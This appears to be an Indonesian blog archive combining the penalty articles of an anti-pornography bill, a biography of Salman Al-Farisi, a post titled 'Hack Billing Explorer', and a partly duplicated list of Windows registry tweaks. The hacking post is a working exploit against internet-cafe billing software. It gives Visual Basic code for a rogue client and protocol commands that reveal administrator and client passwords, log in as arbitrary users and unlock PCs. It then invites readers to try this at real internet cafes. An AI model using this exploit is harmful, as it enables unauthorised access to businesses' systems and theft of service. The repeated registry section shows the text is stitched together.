(1)Setiap orang yang menyebarluaskan pornografi ringan sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana denda paling sedikit Rp. 100.000.000,- (seratus juta rupiah) dan paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paIing singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun.

(2)Dalam hal menyebarluaskan pornografi ringan sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 4 (empat) tahun dan paling lama 15 (lima belas) tahun dan pidana denda paling sedikit Rp. 650.000.000,- (enam ratus lima puluh juta rupiah) dan paling banyak Rp 3.000.000.000 (tiga miliar rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling Iama 15 (lima belas) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun.

Pasal 34
(1)Setiap orang yang menggunakan pornografi ringan sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana denda paling sedikit Rp. 50.000.000,- (lima puluh juta rupiah) dan paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun dan paling lama 5 tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun dan paling lama 5 tahun.

(2)Dalam hal menggunakan pornografi ringan sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 6 (enam) tahun 8 (delapan) bulan dan pidana denda paling sedikit Rp. 150.000.000,- (seratus lima puluh juta rupiah) dan paling banyak Rp 600.000.000 (enam ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 35
Setiap orang yang menyediakan dana dan/atau sarana-prasarana bagi orang lain untuk melakukan kegiatan dan/atau pameran pornografi ringan sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana denda paling sedikit Rp. 100.000.000,- (seratus juta rupiah) dan
paling banyak Rp. 500.000.000,-(lima ratus juta rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun.

Pasal 36
(1)Setiap orang yang membuat pornografi berat sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 10 (sepuluh) tahun dan/atau pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling panyak Rp. 1.000.000.000,- (satu milyar rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

(2)Dalam hal membuat pornografi berat sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 3 (tiga) tahun 6 (enam) bulan dan paling lama 13 (tiga belas) tahun 4 (empat) bulan dan pidana denda paling sedikit Rp. 300.000.000,- (tiga ratus juta rupiah) dan paling banyak Rp. 1.500.000.000,- (satu milyar lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan pallng lama 10 (sepuluh) tahun.

Pasal 37
(1)Setiap orang yang menggandakan pornografi berat sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 10 (sepuluh) tahun dan/atau pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling banyak Rp. 1.000.000.000,- (satu milyar rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

(2)Dalam hal menggandakan pornografi berat sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 3 (tiga) tahun 6 (enam) bulan dan paling lama 13 (tiga belas) tahun 4 (empat) bulan dan pidana denda paling sedikit Rp. 300.000.000,- (tiga ratus juta rupiah) dan paling banyak Rp. 1.500.000.000,- (satu milyar lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 38
(1)Setiap orang yang menyebarluaskan pornografi berat sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 3 (tiga) tahun dan paling lama 13 (tiga belas) tahun dan/atau pidana denda paling sedikit Rp. 250.000.000,- (dua ratus lima puluh juta rupiah) dan paling banyak Rp. 2.500.000.000,- (dua milyar lima ratus juta rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun.

(2)Dalam hal menyebarluaskan pornografi berat sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 4 (empat) tahun 5 (lima) bulan dan paling lama 15 (lima belas) tahun dan pidana denda paling sedikit Rp. 700.000.000,- (tujuh ratus juta rupiah) dan paling banyak Rp 3.500.000.000 (tiga miliar lima ratus juta rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun.

Pasal 39
(1)Setiap orang yang menggunakan pornografi berat sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 1 (satu) tahun dan paling lama 6 (enam) tahun dan/atau pidana denda paling sedikit Rp. 50.000.000,- (lima puluh juta rupiah) dan
paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paling singkat 6 (enam) bulan dan paling lama 5 (lima) tahun dan/atau pengasingan di daerah terpencil paling singkat 6 (enam) bulan dan paling lama 5 (lima) tahun.

(2)Dalam hal menggunakan pornografi berat sebagaimana dimaksud pada ayat (1) melibatkan anak-anak, dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun dan pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling banyak Rp 650.000.000 (enam ratus lima puluh juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 40
Setiap orang yang menyediakan dana dan/atau sarana-prasarana bagi orang lain untuk melakukan kegiatan dan/atau pameran pornografi berat sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 3 (tiga) tahun dan paling lama 15 (lima belas) tahun dan/atau pidana denda paling sedikit Rp. 250.000.000,- (dua ratus lima puluh juta rupiah) dan paling banyak Rp. 2.500.000.000,- (dua milyar lima ratus juta rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun.

Pasal 41
Setiap orang yang membuat pornografi anak sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun 6 (enam) bulan dan pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling
banyak Rp. 800.000.000,- (delapan ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 42
Setiap orang yang menggandakan pornografi anak sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun 6 (enam) bulan dan pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan
paling banyak Rp. 800.000.000,- (delapan ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 43
Setiap orang yang menyebarluaskan pornografi anak sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun 6 (enam) bulan dan pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan
paling banyak Rp. 800.000.000,- (delapan ratus juta rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun.

Pasal 44
Setiap orang yang menggunakan pornografi anak sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling lama 7 (tujuh) tahun dan pidana denda paling banyak Rp. 800.000.000,- (delapan ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu)
tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

Pasal 45
Setiap orang yang menyediakan dana, prasarana, sarana, media dalam penyelenggaraan pornografi anak sebagaimana dimaksud dalam Pasal 6 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun 6 (enam) bulan dan pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling banyak Rp. 800.000.000,- (delapan ratus juta rupiah).

Pasal 46
(1)Setiap orang yang menjadikan anak sebagai obyek atau model pornografi sebagaimana dimaksud dalam Pasal 7 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 7 (tujuh) tahun 6 (enam) bulan dan pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling banyak Rp. 800.000,000,- (delapan ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

(2)Dalam hal perbuatan sebagaimana dimaksud pada ayat (1) mengandung unsur kekerasan, dipidana dengan pidana penjara paling singkat 2 (dua) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan pidana denda paling sedikit Rp. 250.000.000,- (dua ratus lima puluh juta rupiah) dan paling banyak Rp. 850.000.000, (delapan ratus lima puluh juta rupiah) dan/atau kerja sosial paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun dan/atau pengasingan di daerah terpencil paling singkat 2 (dua) tahun dan paling lama 15 (lima belas) tahun.

Pasal 47
Setiap orang yang menjadi obyek atau model media yang mengandung muatan pornografi sebagaimana dimaksud dalam Pasal 8 dipidana dengan pidana denda paling sedikit Rp. 50.000.000,- (lima puluh juta rupiah) dan paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun.

Pasal 48
(1)Setiap orang yang menjadikan orang lain sebagai obyek atau model yang mengandung muatan pornografi sebagaimana dimaksud dalam Pasal 9 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 10 (sepuluh) tahun dan/atau pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling banyak Rp. 1.000.000.000,- (satu milyar rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.

(2)Dalam hal perbuatan sebagaimana dimaksud pada ayat (1) mengandung unsur kekerasan, dipidana dengan pidana penjara paling singkat 2 (dua) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pidana denda paling sedikit Rp. 250.000.000,- (dua ratus lima puluh juta rupiah) dan paling banyak Rp. 850.000.000,- (delapan ratus lima puluh juta rupiah).

Pasal 49
Setiap orang yang mempertontonkan kegiatan yang menggunakan tubuh dengan menggambarkan gerakan yang bermuatan pornografi sebagaimana dimaksud dalam Pasal 10 dipidana dengan pidana denda paling sedikit Rp. 50.000.000,- (lima puluh juta rupiah) dan paling banyak Rp. 500.000.000,- (lima ratus juta rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun dan paling lama 5 (lima) tahun.

Pasal 50
Setiap orang yang merekam praktek persetubuhan dan aktivitas yang mengandung muatan pornografi berat sebagaimana dimaksud dalam Pasal 11 dipidana dengan pidana penjara paling singkat 2 (dua) tahun dan paling lama 10 (sepuluh) tahun dan/atau pidana denda paling sedikit Rp. 200.000.000,- (dua ratus juta rupiah) dan paling banyak Rp. 1.000.000.000,- (satu milyar rupiah) dan/atau kerja sosial paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun dan/atau pengasingan di daerah terpencil paling singkat 1 (satu) tahun 6 (enam) bulan dan paling lama 10 (sepuluh) tahun.


BAB IX
KETENTUAN PERALIHAN

Pasal 51
Pada saat mulai berlakunya Undang-Undang ini semua peraturan perundang-undangan yang mengatur atau berkaitan dengan tindak pidana pornografi dinyatakan tetap berlaku sepanjang tidak bertentangan dengan Undang-Undang ini.


BAB X
KETENTUAN PENUTUP

Pasal 52
Undang-Undang ini mulai berlaku pada tanggal diundangkan.
Agar setiap orang mengetahuinya, memerintahkan pengundangan Undang-Undang ini dengan penempatannya dalam Lembaran Negara Republik Indonesia.

Selanjutnya »»

Sabtu, 13 September 2008

Salman Al-Farisi

Salman berasal dari desa Ji di Isfahan, Persia. Ia adalah anak kesayangan ayahnya, seorang bupati di daerah itu. Salman mulanya adalah penganut Majusi yang taat hingga ia diserahi tugas sebagai penjaga api.

Suatu saat ia melewati sebuah gereja Nashrani yang sedang mengadakan sembahyang. Setelah masuk dan memperhatikan apa yang mereka kerjakan, Salman menjadi kagum. Ia pun bertanya tentang asal agama mereka yang ternyata berasal dari Syria. Salman mennceritakan hal ini kepada bapaknya dan mengatakan bahwa upacara kaum Nashrani sungguh mengagumkan, lebih baik dari agama Majusi yang mereka anut. Lalu terjadilah diskusi antara Salman dan bapaknya yang berujung pada dijebloskannya Salman dalam penjara dengan kaki terikat rantai.


Kepada orang-orang Nashrani, Salman memberitahukan bahwa ia telah menganut agama mereka dan berpesan agar ia diberitahu jika ada rombongan dari Syiria yang datang. Setelah permintaannya dipenuhi ia pun meloloskan diri dari penjara dan bergambung dengan rombongan tersebut ke Syiria. Di Syiria ia tinggal sebagai pelayan bersama dengan seorang Uskup untuk belajar agama yang baru ia anut. Salman sangat mencintainya dan ketika menjelang wafat ia menanyakan kepada sang Uskup siapa yang harus ia hubungi sepeninggalnya. Lalu orang tersebut menceritakan tentang masa itu yang ternyata sudah dekat dengan kebangkitan seorang Nabi pengikut agama Ibrahim yang hanif, beserta tanda-tanda kenabian yang ada padanya termasuk tempat hijrahnya.

Suatu hari lewatlah rombongan berkendaraan dari jazirah Arab. Salman minta agar mereka mau memintanya membawa pergi ke negeri mereka dengan imbalan sapi-sapi dan kambing-kambing hasil jerih payahnya sebagai peternak. Permintaan tersebut dikabulkan. Namun ketika sampai di negeri yang bernama Wadil Qura, rombongan tersebut menganiaya Salman dan menjualnya kepada seorang Yahudi sebagai budak. Setelah beberapa lama, Salman dibeli oleh seorang Yahudi lain dari Bani Quraidhah dan dibawa ke Madinah. Sesampainya di Madinah Salman pun akhirnya yakin bahwa negeri ini adalah sebagaimana yang disebutkan kepadanya dulu.

Setelah mendengar kedatangan Rasulullah SAW yang hijrah ke Madinah, Salman pun datang menjumpai beliau beberapa kali, dan ia mendapatkan semua tanda-tanda kenabian yang pernah diceritakan kepadanya. Hal ini membuat Salman yakin akan kebenaran Rasulullah SAW dan menyatakan keislamannya. Namun statusnya sebagai budak telah menghalangi Salman untuk turut serta dalam perang Badar dan Uhud. Dengan bantuan finansial para sahabat, Salman pun akhirnya berhasil ditebus dan dimerdekakan.

Ketika terjadi perang Khandaq, kaum Muslimin di Madinah diserang oleh kekuatan gabungan anti Islam dari luar dan dari dalam. Pasukan Quraisy dan Ghathfan menyerbu Madinah dari luar sedangkan Yahudi Bani Quraidhah menyerang dari dalam. Melihat kondisi ini Salman menyarankan strategi perang Persia yang asing bagi bangsa Arab, yakni penggalian parit sepanjang daerah terbuka mengelilingi kota. Melihat ini, pasukan kaum kafir yang hendak menyerbu Madinah merasa terpukul dan dipaksa berkemah di luar kota Madinah hingga pada suatu malam Allah mengirimkan angin topan yang memporak-porandakan mereka.

Salman adalah sahanat utama yang taqwa, cerdas, dan bersahaja. Kendatipun dari golongan kelas atas dan seorang putera Persia, negeri yang terkenal dengan kemewahan, namun ia amat zuhud kepada dunia. Ketika menanti ajal, Sa'ad bin Abi Waqqash datang menjenguknya dan ia dapati Salman menangis, teringat pesan Rasulullah : "Hendaklah bagian masing-masingmu dari kekayaan dunia ini seperti bekal seorang pengendara", sedangkan ia merasa hartanya masih banyak. Sa'ad mengatakan : "Saya perhatikan, tak ada yang tampak di sekelilingku kecuali satu piring dan sebuah baskom."

Sekelumit kisah sang pencari kebenaran Salman Al Faritsi ini mengandung banyak pelajaran. Kecintaan dari ayah, kedudukan terhormat sebagai anak pembesar dan penunggu api, serta kehidupan yang berkecukupan tidaklah menjadi tujuan tertinggi hidupnya. Kendatipun belum menjadi seorang muslim, Salman seakan memiliki pribadi yang hanif dengan fitrah yang bersih.

Salman mampu bersifat objektif dan mau mengakui kekurangan agama Majusi yang dianutnya dibandingkan agama Nashrani yang kemudian dipeluknya. Ia pun tak segan-segan masuk Islam ketika Rasul ditunggu-tunggunya tiba. Bukanlah menjadi soal bagi Salman sang pemuda Persi untuk memeluk agama Nashrani yang berasal dari Syiria. Sungguh bahagia hati Salman, budak dari Persi untuk memeluk Islam yang dibawa oleh Muhammad, orang Arab. Kebenaran adalah dari Allah, tak peduli siapa yang menyampaikan dan darimana asalnya. Maka seseorang yang berjiwa hanif sudah sewajarnya mengikuti kebenaran yang datangnya dari Allah. Wallahu'alam.***

sumber : Tabloid MQ edisi 10/Th.I/Februari 2001

Selanjutnya »»

Rabu, 10 September 2008

Hack Billing Explorer

sebelumnya saya mohon maaf atas apa yang saya tulis pada artikel ini, ini hanya bertujuan untuk menambah wawasan saja di bidang keamanan sebuah program. Jadi penulis tidak bertanggung jawab atas penyalah gunaan artikel ini.

KALO SETUJU SILAHKAN TERUSKAN BACA ARTIKELNYA, KALO NGGAK MENDINGAN TUTP AJA.

Sebelum masuk ke inti permasalahan, ada yang perlu anda persiapkan:
- Coba download program demo


nya di www.billingexplorer.com
Server program dan client program
- Setelah berhasil mendownload ke duanya, silahkan anda install
terlebih dahulu.
- Apabila proses installasi selesai, silahkan anda coba jalankan kedua
program tersebut pada satu komputer.
- Jalankan program server terlebih dahulu kemudian program clientnya
- Secara default passwordnya akan berisi 008


- ok saya anggap anda semua udah bisa menjalankannya.

Nah apabila selesai proses diatas coba anda jalankan hanya program servernya saja. Kita akan liat kelemahan yang terjadi pada koneksinya.

Kalo kalian pake program packet snipper mungkin akan kelihatan, data apa saja yang dikirim ke client.......Setelah diamati beberapa menit dengan program packetsnipper ternyata setiap data yang dikirim ke client melalui winsock tidak terproteksi atau dalam kata lain hanya berupa plaintext saja...ops....ternyata....he...he....

Okeh kita lanjut lagi, jika dilihat pada data yang dikirim oleh program server selalu diawali dengan 'YYY' dan sebaliknya apabila dikirim dari client ke server akan diawali dengan 'XXX' (tanpa curek).

("Mungkin hal seperti ini akan berakibat fatal, ini bisa kita jadikan contoh bahwa data yang dikirim diusahakan harus terenkripsi untuk menghindari dan meminimalisasi pencurian data2 yang berbentuk plain text.")

Ada beberapa perintah yang dikirim dari client ke server seperti:

XXX$personal$2$HACKER$

kalo saya gak salah artikan perintah diatas, menjadi spt ini:
XXX -> Perintah dari client
$ -> sebagai seperator atau pemisah parameter
personal -> type login yang digunakan user
$ -> sebagai seperator atau pemisah parameter
2 -> No PC Client yang telah di setting
$ -> sebagai seperator atau pemisah parameter
HACKER -> Nama yang digunakan oleh user

Maka kesimpulannya kita bisa login ke program server tanpa program client bawaanya dan kita bisa ganti dengan program kecil buatan sendiri.

Coba anda buat satu project dengan:
1 form, 1 winsock control, 2 commandbutton dan 2 textbox
untuk text1 rubah properti Multiline=True dengan Scrollbars=Both

Private Sub Command1_Click()
SOCK.Close
'// Masukan IPAddress Servernya dengan Port 1500 (default port)
SOCK.Connect "192.168.0.1", "1500"
End Sub

Private Sub Command2_Click()
If SOCK.State = sckConnected Then SOCK.SendData Text2.Text
End Sub

Private Sub SOCK_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
SOCK.GetData Data
Text1.SelText = Data & vbCrLf & String(50, "-") & vbCrLf

End Sub

setelah selesai koding diatas coba anda jalankan, lakukan koneksi keserver dengan menekan tombol command1. Apabila berhasil koneksi ke server coba anda tuliskan beberapa perintah dibawah ini pada textbox2 dan diakhiri dengan menekan tombol Command2.

Perintah:
XXX$passY$2$

perintah diatas digunakan untuk melihat password client dan password server pada PC Client No 2 (dua). hasil data yang dikirim dari server ke client dengan menyertakan perintah diatas akan terlihat seperti ini:

YYY$passY$008$Internet Cafe$JL. Urip Sumoharjo Makassar$Email info_008@yahoo.com - http://www.billingexplorer.com$111

kalo dilihat pada kata '008' dan '111', ini dapat diartikan sebagai password Administrator dan Password PC Client.

kita bisa klik tombol admin pada program clientnya, dan masukan passwordnya. seperti yang terlihat pada gambar dibawah ini :

anda bisa mencoba beberapa perintah dibawah ini:
1. XXX$personal$2$HACKER$
(Login pada PC no 2 dengan nama user HACKER)
2. XXX$stop$2$HACKER
(untuk logout dari billing)
3. XXX$con$2$HACKER
4. XXX$infod2$2$
5. XXX$ablock$2$
6. XXX$admin$2$Admin
7. XXX$tutup$2$$

Anda bisa cari lagi perintah2 yg lain dengan menggunakan packet snipper seperti 'EtherDetect Packet Sniffer'.

Selain itu ada beberapa kelemahan lain yang terdapat pada program ini, seperti tidak diproteksinya file executable dengan program-program compress exe, spt UPX,PE-COMPAT ataupun yg lain. ini sangat memudahkan untuk di CRack.

Sekedar info, program yang saya coba adalah Billing-Explorer Ver 4.40 Grand R-14a. yang di compile dengan visual basic v 5.0

Jadi kalo jalan-jalan ke warnet dan kebetulan billing nya menggunakan program ini, hmmm.m.m..mmmm...sekalian bisa dicoba...nih.

Selanjutnya »»

Rahasia Registry

Rahasia Registry
(1).Mengganti Nama Recycle Bin
------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}
Klik ganda pada option (Default value) dan beri nama baru sesuai yang diinginkan pada Value Data.



(2).Memunculkan Rename Pada Recycle Bin
---------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda pada Attributes > Edit Binary Value. Pada Value Data, ganti angka tersebut menjadi 0000 50 01 00 20.



(3).Menambah Isi Shortcut Menu Pada Recycle Bin
-----------------------------------------------


Rahasia Registry
(1).Mengganti Nama Recycle Bin
------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}
Klik ganda pada option (Default value) dan beri nama baru sesuai yang diinginkan pada Value Data.



(2).Memunculkan Rename Pada Recycle Bin
---------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda pada Attributes > Edit Binary Value. Pada Value Data, ganti angka tersebut menjadi 0000 50 01 00 20.



(3).Menambah Isi Shortcut Menu Pada Recycle Bin
-----------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder
Klik ganda Attributes dan ganti angka di Value Data dengan angka berikut ini:
0000 50 01 00 20 > Rename
0000 60 01 00 20 > Delete
0000 70 01 00 20 > Rename & Delete
0000 41 01 00 20 > Copy
0000 42 01 00 20 > Cut
0000 43 01 00 20 > Copy & Cut
0000 44 01 00 20 > Paste
0000 45 01 00 20 > Copy & Paste
0000 46 01 00 20 > Cut & Paste
0000 47 01 00 20 > Cut, Copy & Paste



(4).Menambah Isi Shortcut Menu Pada Recycle Bin Dengan Menu Pilihan
-------------------------------------------------------------------
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell
Klik menu Edit > New > Key dan beri nama yang diinginkan (Misalnya: Go To Windows Explorer). Dibawah key yang baru tersebut, tekan lagi menu Edit > New > Key dan buat sebuah key baru bernama Command. Klik ganda option (Default), dan pada bagian Value Data, isi dengan path Windows Explorer (C:\WINDOWS\Explorer.exe).



(5).Mengembalikan Folder Documents Yang Hilang Di My Computer
-------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\DocFolderPaths
Pilih menu Edit > New > String Value dan beri nama sesuai dengan username yang digunakan di Windows (misal: y3ppy) Klik ganda pada value tersebut dan masukkan path tempat dimana Documents anda berada (misal D:\Documents)



(6).Menyingkirkan File Stored Dari My Computer
----------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\MyComputer\NameSpace\DelegateFolders
Hapus subkey {59031a47-3f72-44a7-89c5-5595fe6b30ee}



(7).Menyembunyikan My Recent Documents
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoRecentDocsMenu. Kemudian klik ganda pada DWORD Value tersebut, dan berikan angka 1 untuk mengaktifkannya.



(8).Mengembalikan Fungsi Search Kedalam Tampilan Lama
------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState
Pilih menu Edit > New > String Value dan beri nama UseSearchAsst. Klik ganda UseSearchAsst dan masukkan angka 1 pada Value Data.



(9).Menyembunyikan Menu Find
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoFind. Kemudian klik ganda pada DWORD Value tersebut dan berikan angka 1 untuk mengaktifkannya. Restart komputer.



(10).Menyembunyikan Menu Run (1)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoRun. Klik ganda dan masukkan angka 1 sebagai Value Data.



(11).Menyembunyikan Menu Run (2)
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowRun, klik ganda dan masukkan angka 0 pada bagian Value Data.



(12).Menyembunyikan Log Off
---------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > Binary Value dan beri nama NoLogOff.

Klik ganda pada NoLogOff dan masukkan angka 01 00 00 00 pada bagian Value Data.



(13).Menyembunyikan Menu Turn Off Computer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik menu Edit > New > DWORD Value dan beri nama NoClose. Klik ganda NoClose dan beri angka 1 pada Value Data.



(14).Cleartype Pada Logon Screen
--------------------------------
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda FontSmoothingType dan masukkan angka 2 pada Value Data.



(15).Membuat Tampilan Berbeda Pada Jendela Logon
------------------------------------------------
HKEY_USERS\. DEFAULT\Software \Microsoft\Windows\CurrentVersion\ThemeManager
Klik ganda ColorName dan masukkan teks Metallic pada Value Data.



(16).Menampilkan Administrator Di Welcome Screen
------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
Buat sebuah DWORD Value baru dan beri nama Administrator.
Klik ganda Administrator dan masukkan angka 1 pada Value Data



(17).Login Otomatis
-------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Klik ganda AltDefaultUserName dan masukkan username account yang dipilih. Klik ganda AutoAdminLogon dan masukkan angka 1 pada Value Data. Buat sebuah DWORD Value baru dan beri nama DefaultPassword. Klik ganda DefaultPassword dan masukkan password account yang dipilih pada Value Data.



(18).Menyembunyikan Icon Printer & Faxes dari Start Menu
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Cari value bernama Start_ShowPrinters dan berikan angka 0 pada Value Data.



(19).Menyembunyikan Control Panel Dari Start Menu
-------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
